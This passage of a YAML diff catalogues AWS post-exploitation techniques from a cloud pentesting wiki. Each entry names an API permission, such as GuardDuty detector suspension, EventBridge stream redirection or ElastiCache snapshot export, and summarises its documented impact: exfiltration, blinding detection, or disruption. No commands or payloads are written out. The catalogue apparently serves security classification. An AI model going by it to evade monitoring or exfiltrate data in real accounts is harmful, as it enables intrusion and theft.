src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdeleteapplicationversion + technique: '`elasticbeanstalk:DeleteApplicationVersion`' + reason: 'Documented impact: Loss of a rollback or deployment artifact from Elastic Beanstalk and disruption of + deployment workflows; the source bundle remains in Amazon S3 by default. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkterminateenvironment + technique: '`elasticbeanstalk:TerminateEnvironment`' + reason: 'Documented impact: Application downtime and possible data loss when environment-managed data resources + are not configured to be retained or snapshotted before termination. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdeleteapplication + technique: '`elasticbeanstalk:DeleteApplication`' + reason: 'Documented impact: Termination of associated environments and loss of tracked versions and saved configurations, + leading to service disruption; source bundles may still remain in Amazon S3. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-secret-disclosure-post-exploitation/README.md#describeconfigurationsettings--environment-secret-disclosure + technique: '`DescribeConfigurationSettings` — environment-secret disclosure' + reason: This heading concerns reading or exporting data via `DescribeConfigurationSettings` — environment-secret + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#export-a-cache-snapshot-to-s3-with-elasticachecopysnapshot + technique: Export a cache snapshot to S3 with `elasticache:CopySnapshot` + reason: 'Documented impact: Full exfiltration of a cache''s contents (every key/value — sessions, tokens, credentials, + PII) to attacker-controlled S3, with no route to the cache endpoint and no RBAC/AUTH credential required. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#export-a-serverless-cache-snapshot-to-s3-with-elasticacheexportserverlesscachesnapshot + technique: Export a serverless cache snapshot to S3 with `elasticache:ExportServerlessCacheSnapshot` + reason: 'Documented impact: Exfiltration of a serverless cache''s dataset into an attacker-readable S3 bucket, + with no cache network path or RBAC credential. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elb-post-exploitation/README.md#elasticloadbalancingmodifylistener--redirect-existing-alb-traffic + technique: '`elasticloadbalancing:ModifyListener` — Redirect existing ALB traffic' + reason: The section documents the resource or service effect of `elasticloadbalancing:ModifyListener` — Redirect + existing ALB traffic, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elb-post-exploitation/README.md#elasticloadbalancingmodifyrule--redirect-matching-alb-traffic-to-an-existing-target + technique: '`elasticloadbalancing:ModifyRule` — Redirect matching ALB traffic to an existing target' + reason: The section documents the resource or service effect of `elasticloadbalancing:ModifyRule` — Redirect matching + ALB traffic to an existing target, without a reusable AWS principal credential or arbitrary execution under + another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferencegetmetadata--recover-transcripts-and-inference-results + technique: '`elemental-inference:GetMetadata` — recover transcripts and inference results' + reason: This heading concerns reading or exporting data via `elemental-inference:GetMetadata` — recover transcripts + and inference results; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceexportdictionaryentries--steal-the-custom-vocabulary + technique: '`elemental-inference:ExportDictionaryEntries` — steal the custom vocabulary' + reason: This heading concerns reading or exporting data via `elemental-inference:ExportDictionaryEntries` — steal + the custom vocabulary; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceupdatedictionary--poison-vocabulary-without-read-access + technique: '`elemental-inference:UpdateDictionary` — poison vocabulary without read access' + reason: The section documents the resource or service effect of `elemental-inference:UpdateDictionary` — poison + vocabulary without read access, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceputmedia--inject-attacker-controlled-source-segments + technique: '`elemental-inference:PutMedia` — inject attacker-controlled source segments' + reason: The section documents the resource or service effect of `elemental-inference:PutMedia` — inject attacker-controlled + source segments, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceupdatefeed--blindly-replace-output-configuration + technique: '`elemental-inference:UpdateFeed` — blindly replace output configuration' + reason: The section documents the resource or service effect of `elemental-inference:UpdateFeed` — blindly replace + output configuration, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-post-exploitation/README.md#weaken-emr-block-public-access-with-putblockpublicaccessconfiguration + technique: Weaken EMR Block Public Access with `PutBlockPublicAccessConfiguration` + reason: 'Documented impact: Removal or broad weakening of one regional preventive control, allowing an otherwise-authorized + cluster launch or security-group change to create publicly reachable EMR nodes. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-serverless-configuration-post-exploitation/README.md#emr-serverlessgetapplication--runtime-property-disclosure + technique: '`emr-serverless:GetApplication` — runtime-property disclosure' + reason: This heading concerns reading or exporting data via `emr-serverless:GetApplication` — runtime-property + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-serverless-configuration-post-exploitation/README.md#emr-serverlessgetjobrun--job-argument-disclosure + technique: '`emr-serverless:GetJobRun` — job-argument disclosure' + reason: This heading concerns reading or exporting data via `emr-serverless:GetJobRun` — job-argument disclosure; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-end-user-messaging-social-post-exploitation/README.md#social-messaginggetwhatsappmessagemedia---copy-inbound-media-to-an-attacker-destination + technique: '`social-messaging:GetWhatsAppMessageMedia` - Copy inbound media to an attacker destination' + reason: This heading concerns reading or exporting data via `social-messaging:GetWhatsAppMessageMedia` - Copy + inbound media to an attacker destination; it does not itself authorize a different AWS principal or execute + code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-end-user-messaging-social-post-exploitation/README.md#social-messagingsendwhatsappmessage---send-trusted-brand-whatsapp-messages + technique: '`social-messaging:SendWhatsAppMessage` - Send trusted-brand WhatsApp messages' + reason: The section documents the resource or service effect of `social-messaging:SendWhatsAppMessage` - Send + trusted-brand WhatsApp messages, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-entity-resolution-post-exploitation/README.md#use-getmatchid-as-a-record-membership-oracle + technique: Use GetMatchId as a record-membership oracle + reason: This heading concerns reading or exporting data via Use GetMatchId as a record-membership oracle; it does + not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-pipe-configuration-post-exploitation/README.md#pipesdescribepipe--input-template-disclosure + technique: '`pipes:DescribePipe` — input-template disclosure' + reason: This heading concerns reading or exporting data via `pipes:DescribePipe` — input-template disclosure; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventscreatesubscriber--replay-retained-enhanced-bus-events-to-a-new-target + technique: '`events:CreateSubscriber` — replay retained enhanced-bus events to a new target' + reason: 'Documented impact: Retrospective and continuing disclosure of every matched event still inside the bus + retention window—potentially up to one year—including application records, security findings, identifiers, URLs, + or credentials that producers... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsputtargets--silently-copy-an-event-stream-to-an-attacker-sink + technique: '`events:PutTargets` — silently copy an event stream to an attacker sink' + reason: 'Documented impact: Continuous exfiltration of an event stream (security findings, application events, + audit signals) to attacker-controlled infrastructure, without altering or interrupting the legitimate delivery, + so nothing appears broken. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventscreateconnection--eventscreateapidestination--exfiltrate-an-event-stream-straight-out-of-aws + technique: '`events:CreateConnection` + `events:CreateApiDestination` — exfiltrate an event stream straight out + of AWS' + reason: 'Documented impact: Continuous exfiltration of a matched event stream to attacker-controlled infrastructure + outside AWS, with the legitimate target still receiving everything. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsremovetargets--detach-the-real-target-and-keep-the-rule-looking-enabled + technique: '`events:RemoveTargets` — detach the real target and keep the rule looking enabled' + reason: 'Documented impact: Detection or automation silently stops while the rule still reports ENABLED; combined + with PutTargets it converts a monitored pipeline into an attacker-only feed. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdatesubscriber--clear-filters-and-disable-delivery-logs + technique: '`events:UpdateSubscriber` — clear filters and disable delivery logs' + reason: 'Documented impact: Route every future event on the bus—including security findings, secrets or customer + records that the original filter intentionally excluded—to an existing attacker-readable or attacker-useful + target, increase its workload,... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsdisablerule--switch-off-a-detection-pipeline + technique: '`events:DisableRule` — switch off a detection pipeline' + reason: 'Documented impact: Silences everything downstream of the rule (alert notifications, automated remediation, + scheduled backup/patching jobs) while leaving the rule and its targets in place, so a later EnableRule restores + it with no other trace. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsputrule--blind-overwrite-a-rules-event-pattern-so-it-never-matches + technique: '`events:PutRule` — blind-overwrite a rule''s event pattern so it never matches' + reason: 'Documented impact: Permanently blinds a detection or automation rule while it continues to report as + enabled with its targets intact — considerably stealthier than disabling or deleting it. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdatesubscriber--pause-and-discard-a-subscribers-retained-backlog + technique: '`events:UpdateSubscriber` — pause and discard a subscriber''s retained backlog' + reason: 'Documented impact: Suppress an arbitrary window of security findings, automation events, orders, audit + records, or workflow triggers for one consumer without deleting the subscriber or changing its visible destination, + then restore apparently... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateeventbus--truncate-enhanced-bus-retained-history + technique: '`events:UpdateEventBus` — truncate enhanced-bus retained history' + reason: 'Documented impact: Irreversibly remove up to 364 days of replayable application events, security findings, + audit records or workflow inputs, breaking recovery/catch-up for every current and future subscriber on the + selected bus. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateconnection--eventsdeauthorizeconnection--break-or-rewrite-stored-api-credentials + technique: '`events:UpdateConnection` / `events:DeauthorizeConnection` — break or rewrite stored API credentials' + reason: 'Documented impact: Availability loss for every API Destination using the connection, or substitution + of the outbound credential so third-party integrations authenticate with an attacker-chosen value. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md#schedulerdeleteschedule--destroy-scheduled-automation + technique: '`scheduler:DeleteSchedule` — destroy scheduled automation' + reason: 'Documented impact: Permanent removal of future invocations, disrupting the backup, patch, export, rotation, + or operational workflow the schedule drove. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md#schedulerupdateschedule--iampassrole--disable-or-redirect-execution + technique: '`scheduler:UpdateSchedule` + `iam:PassRole` — disable or redirect execution' + reason: 'Documented impact: Disables future automation or causes Scheduler to invoke a supported attacker-chosen + target/action and crafted input with the passed role''s applicable permissions. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputpolicy-fmsdeletepolicy + technique: '`fms:PutPolicy`, `fms:DeletePolicy`' + reason: 'Documented impact: Dismantling of security controls, policy evasion, compliance violations, operational + disruptions, and potential data breaches within the environment. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsassociatethirdpartyfirewall-fmsdisassociatethirdpartyfirewall + technique: '`fms:AssociateThirdPartyFirewall`, `fms:DisassociateThirdPartyFirewall`' + reason: 'Documented impact: The disassociation would lead to a policy evasion, compliance violations, and disruption + of security controls within the environment. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmstagresource-fmsuntagresource + technique: '`fms:TagResource`, `fms:UntagResource`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputnotificationchannel-fmsdeletenotificationchannel + technique: '`fms:PutNotificationChannel`, `fms:DeleteNotificationChannel`' + reason: 'Documented impact: This would potentially lead to miss security alerts, delayed incident response, potential + data breaches and operational disruptions within the environment. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsbatchassociateresource-fmsbatchdisassociateresource-fmsputresourceset-fmsdeleteresourceset + technique: '`fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`' + reason: 'Documented impact: The addition of an unnecessary amount of items to a resource set will increase the + level of noise in the Service potentially causing a DoS. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputappslist-fmsdeleteappslist + technique: '`fms:PutAppsList`, `fms:DeleteAppsList`' + reason: 'Documented impact: Altered application lists can expose disallowed applications or block legitimate traffic, + causing policy bypass or denial of service. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputprotocolslist-fmsdeleteprotocolslist + technique: '`fms:PutProtocolsList`, `fms:DeleteProtocolsList`' + reason: 'Documented impact: Altered protocol lists can permit prohibited protocols or deny approved ones, weakening + enforcement or disrupting connectivity. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorgetevent---read-a-known-stored-event + technique: '`frauddetector:GetEvent` - Read a known stored event' + reason: This heading concerns reading or exporting data via `frauddetector:GetEvent` - Read a known stored event; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorsendevent---blindly-replace-a-stored-event + technique: '`frauddetector:SendEvent` - Blindly replace a stored event' + reason: The section documents the resource or service effect of `frauddetector:SendEvent` - Blindly replace a + stored event, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorupdateeventlabel---blind-label-poisoning + technique: '`frauddetector:UpdateEventLabel` - Blind label poisoning' + reason: The section documents the resource or service effect of `frauddetector:UpdateEventLabel` - Blind label + poisoning, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-free-tier-post-exploitation/README.md#freetierupgradeaccountplan--irreversibly-remove-the-free-plan-no-charge-boundary + technique: '`freetier:UpgradeAccountPlan` — irreversibly remove the Free-plan no-charge boundary' + reason: 'Documented impact: irreversibly convert a protected no-charge Free-plan account to pay-as-you-go, remove + its service restrictions and automatic-spend boundary, and expose the owner to charges from existing automation + or later attacker activity. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fsx-post-exploitation/README.md#fsxcreatefilesystemfrombackup--fsxcreatevolumefrombackup--restore-data-into-attacker-reachable-network + technique: '`fsx:CreateFileSystemFromBackup` / `fsx:CreateVolumeFromBackup` — restore data into attacker-reachable + network' + reason: 'Documented impact: Full read access to the data of any FSx file system by restoring its backup into an + attacker-controlled subnet and mounting it — no access to the original file system required. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-post-exploitation/README.md#anywhere-server-impersonation-with-gameliftgetcomputeauthtoken + technique: Anywhere server impersonation with `gamelift:GetComputeAuthToken` + reason: This heading concerns reading or exporting data via Anywhere server impersonation with `gamelift:GetComputeAuthToken`; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdateendpointgroup---redirect-or-suppress-application-traffic + technique: '`globalaccelerator:UpdateEndpointGroup` - Redirect or suppress application traffic' + reason: The section documents the resource or service effect of `globalaccelerator:UpdateEndpointGroup` - Redirect + or suppress application traffic, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdateacceleratorattributes---disable-traffic-flow-logs + technique: '`globalaccelerator:UpdateAcceleratorAttributes` - Disable traffic flow logs' + reason: This heading concerns removal, disruption or access denial via `globalaccelerator:UpdateAcceleratorAttributes` + - Disable traffic flow logs; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdatelistener--updateaccelerator---break-or-reshape-the-public-entry-point + technique: '`globalaccelerator:UpdateListener` / `UpdateAccelerator` - Break or reshape the public entry point' + reason: The section documents the resource or service effect of `globalaccelerator:UpdateListener` / `UpdateAccelerator` + - Break or reshape the public entry point, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#greengrassupdateconnectivityinfo--redirect-device-connectivity-mitm + technique: '`greengrass:UpdateConnectivityInfo` — redirect device connectivity (MITM)' + reason: 'Documented impact: Redirect edge/client device connections to an attacker endpoint for interception or + rogue control. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutycreatefilter--auto-archive-findings + technique: '`guardduty:CreateFilter` — auto-archive findings' + reason: 'Documented impact: Silently drops all matching future findings from every downstream consumer (EventBridge, + S3 export, Security Hub, Detective, Extended Threat Detection) while they linger only as archived entries in + the console. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#iamputrolepolicy--guarddutycreateipset--guarddutyupdateipset--trusted-list-poisoning + technique: '`iam:PutRolePolicy` + (`guardduty:CreateIPSet` | `guardduty:UpdateIPSet`) — trusted list poisoning' + reason: 'Documented impact: Suppresses CloudTrail/VPC-Flow-Log (and, for trusted entity lists, DNS) findings for + attacker IPs/CIDRs/domains for as long as the list exists. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutyupdatecustomdetectionruleassociation--downgrade-a-custom-detection-rule + technique: '`guardduty:UpdateCustomDetectionRuleAssociation` — downgrade a custom detection rule' + reason: 'Documented impact: Blinds a specific defender-authored custom detection by downgrading its association + from LIVE (generates findings) to DRY_RUN (metrics only, no findings, auto-expires in 14 days) — or by simply + letting a dry-run association lapse. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutyupdatedetector--suspend-monitoring--disable-data-sources + technique: '`guardduty:UpdateDetector` — suspend monitoring / disable data sources' + reason: 'Documented impact: Removes whole finding classes account-wide (or, with UpdateMemberDetectors, for chosen + members) — with --no-enable GuardDuty stops analysing entirely while the detector object still exists. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutydeletedetector--disassociatefrommasteraccount--member-tampering + technique: '`guardduty:DeleteDetector` / `DisassociateFromMasterAccount` / member tampering' + reason: 'Documented impact: DeleteDetector destroys the detector and every finding (total but extremely loud); + member disassociation detaches an account from centralized monitoring so its findings stop reaching the security + account (durable only in... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutydeletepublishingdestination--break-the-export-pipeline + technique: '`guardduty:DeletePublishingDestination` — break the export pipeline' + reason: 'Documented impact: Stops findings being copied to the configured S3 archive, potentially blinding consumers + that ingest only that export. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-healthimaging-data-access-post-exploitation/README.md#medical-imaginggetimagesetmetadata--recover-normalized-dicom-and-patient-metadata + technique: '`medical-imaging:GetImageSetMetadata` — recover normalized DICOM and patient metadata' + reason: This heading concerns reading or exporting data via `medical-imaging:GetImageSetMetadata` — recover normalized + DICOM and patient metadata; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-healthimaging-data-access-post-exploitation/README.md#medical-imaginggetimageframe--download-medical-image-pixels + technique: '`medical-imaging:GetImageFrame` — download medical image pixels' + reason: This heading concerns reading or exporting data via `medical-imaging:GetImageFrame` — download medical + image pixels; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamenablemfadevice--illegitimate-mfa-activation + technique: '`iam:EnableMFADevice` — Illegitimate MFA Activation' + reason: 'Documented impact: Enrols a device the attacker controls onto a victim user. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateaccountpasswordpolicy--iamdeleteaccountpasswordpolicy--weaken-every-console-password-in-the-account + technique: '`iam:UpdateAccountPasswordPolicy` | `iam:DeleteAccountPasswordPolicy` — weaken every console password + in the account' + reason: 'Documented impact: Account-wide reduction in console credential strength, enabling password guessing + and reuse against every IAM user, and removing expiry and reuse-prevention controls that would otherwise have + evicted stale attacker-set passwords. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamcreateaccountalias--iamdeleteaccountalias--hijack-the-console-sign-in-url + technique: '`iam:CreateAccountAlias` | `iam:DeleteAccountAlias` — hijack the console sign-in URL' + reason: 'Documented impact: Loss of the organization''s console sign-in URL, and the opportunity to capture employee + credentials through an AWS-hosted login page at the address they are used to. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamgetrequestauthorizationdetails--read-another-principals-denial-snapshot + technique: '`iam:GetRequestAuthorizationDetails` — Read another principal''s denial snapshot' + reason: 'Documented impact: Maps policy guardrails and organization structure that the compromised identity may + be unable to enumerate normally. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamdelete + technique: '`iam:Delete*`' + reason: 'Documented impact: Account-wide destruction of the IAM control plane — identities, policies, credentials, + federation and MFA — in a single permission. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2createfindingsreport-inspector2createsbomexport + technique: '`inspector2:CreateFindingsReport`, `inspector2:CreateSbomExport`' + reason: 'Documented impact: Generation and exfiltration of detailed vulnerability and software reports, gaining + insights into specific vulnerabilities and security weaknesses. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2cancelfindingsreport-inspector2cancelsbomexport + technique: '`inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`' + reason: 'Documented impact: Disruption of security monitoring and prevention of timely detection and remediation + of security issues. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2createfilter-inspector2updatefilter-inspector2deletefilter + technique: '`inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`' + reason: 'Documented impact: Concealment or suppression of critical vulnerabilities, or flooding the system with + irrelevant findings. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2associatemember-inspector2disassociatemember + technique: '`inspector2:AssociateMember`, `inspector2:DisassociateMember`' + reason: 'Documented impact: Exclusion of key accounts from security scans, enabling undetected exploitation of + vulnerabilities. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2disable-inspector2enable--iamcreateservicelinkedrole + technique: '`inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)' + reason: 'Documented impact: Creation of blind spots in the security monitoring. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2updateorganizationconfiguration + technique: '`inspector2:UpdateOrganizationConfiguration`' + reason: 'Documented impact: Alter security scan policies and configurations for the organization. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2tagresource-inspector2untagresource + technique: '`inspector2:TagResource`, `inspector2:UntagResource`' + reason: 'Documented impact: Disruption of resource organization, cost allocation, or tag-driven security automation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-interconnect-post-exploitation/README.md#interconnectgetconnection--steal-a-pending-connections-partner-activation-key + technique: '`interconnect:GetConnection` — steal a pending connection''s partner activation key' + reason: 'Documented impact: Complete or interfere with a pending multicloud/last-mile connection from the victim''s + Direct Connect gateway to the selected remote network. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#iotgetjobdocument--read-plaintext-fleet-job-payloads + technique: '`iot:GetJobDocument` — read plaintext fleet job payloads' + reason: 'Documented impact: Disclosure of fleet commands, internal configuration, device bootstrap material, or + reusable private artifact/firmware URLs embedded directly in job documents. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#take-over-an-existing-tunnel-with-iotrotatetunnelaccesstoken + technique: Take over an existing tunnel with `iot:RotateTunnelAccessToken` + reason: 'Documented impact: Revocation of the legitimate operator''s current bearer token and takeover of the + remaining tunnel lifetime, enabling the same mapped remote-device access as the original source client. This + section does not establish another AWS principal or attacker-controlled role 